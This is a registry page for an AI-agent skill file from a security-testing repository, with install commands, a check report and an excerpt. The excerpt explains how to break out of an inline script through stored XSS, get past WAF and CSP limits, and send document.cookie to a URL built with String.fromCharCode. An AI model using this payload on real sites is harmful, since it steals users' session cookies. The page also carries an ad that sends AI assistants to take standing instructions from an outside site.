inline-script-breakout-exfil SKILL.md skillB
inline-script-breakout-exfil from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/inline-script-breakout-exfil@git:20260529.17de87fPins git:20260529.17de87f in mdr.lock. Pin the fingerprint instead.
- Audit grade
- B, 16 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/inline-script-breakout-exfil/SKILL.md- Versions recorded
- 1
- Latest version
- git:20260529.17de87f, committed May 29, 2026
- Size
- 3,931 bytes
- Repository stars
- 22
- License
- MIT
Exfiltrate data from stored XSS inside inline script blocks when constrained by unquoted HTML attribute context, WAF, and CSP. Use when XSS payload lands inside server-rendered inline script and standard exfil (fetch, eval, atob) is blocked.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Inline Script Breakout Exfiltration
## The Constraint Problem
After `</script>` closes an inline script tag, the browser's HTML parser takes over. If the payload lands in a JSON string value:
```html
<script>window.config = {"user":{"name":"</script><img src=x onerror=HANDLER>","role":"admin"}};</script>
```
The `onerror=HANDLER` is an **unquoted HTML attribute**. These characters terminate unquoted attribute values: `=`, `"`, `'`, space, `<`, `>`, backtick.
### What's eliminated
`eval('code')`, `atob("base64")`, `fetch('/path')`, `new XMLHttpRequest()`, `var x = 1`, `x = document.cookie` -- all contain forbidden characters.
### What still works
`alert(document.domain)`, `location.replace(URL)`, `String.fromCharCode(N,N,N)`, nested calls like `X(Y(Z))`, concatenation with `+`.
## The Exfiltration Technique
### Pattern: `location.replace(String.fromCharCode(...)+document.cookie)`
```
</script><img src=x onerror=location.replace(String.fromCharCode(CHARCODE_URL)+document.cookie)>
```
**Why this works:**
1. `location.replace()` -- navigates the page (method call, no `=`)
2. `String.fromCharCode(104,116,116,112,...)` -- builds URL without quotes
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/inline-script-breakout-exfil@sha256:597c9eb7fac509f4The line at the top of this page pins the label git:20260529.17de87f, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_p6kshcui4tip7dkk)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 1 version of this file, committed on May 29, 2026.
Audit of the latest version
- fail: No script tag (matched: <script)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (3931 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_p6kshcui4tip7dkk GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/inline-script-breakout-exfil GET https://markdownregistry.com/api/v1/blob/597c9eb7fac509f423b6e3b41a972174cd93d9dca21b0da0b04d0767fc17e1e8
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.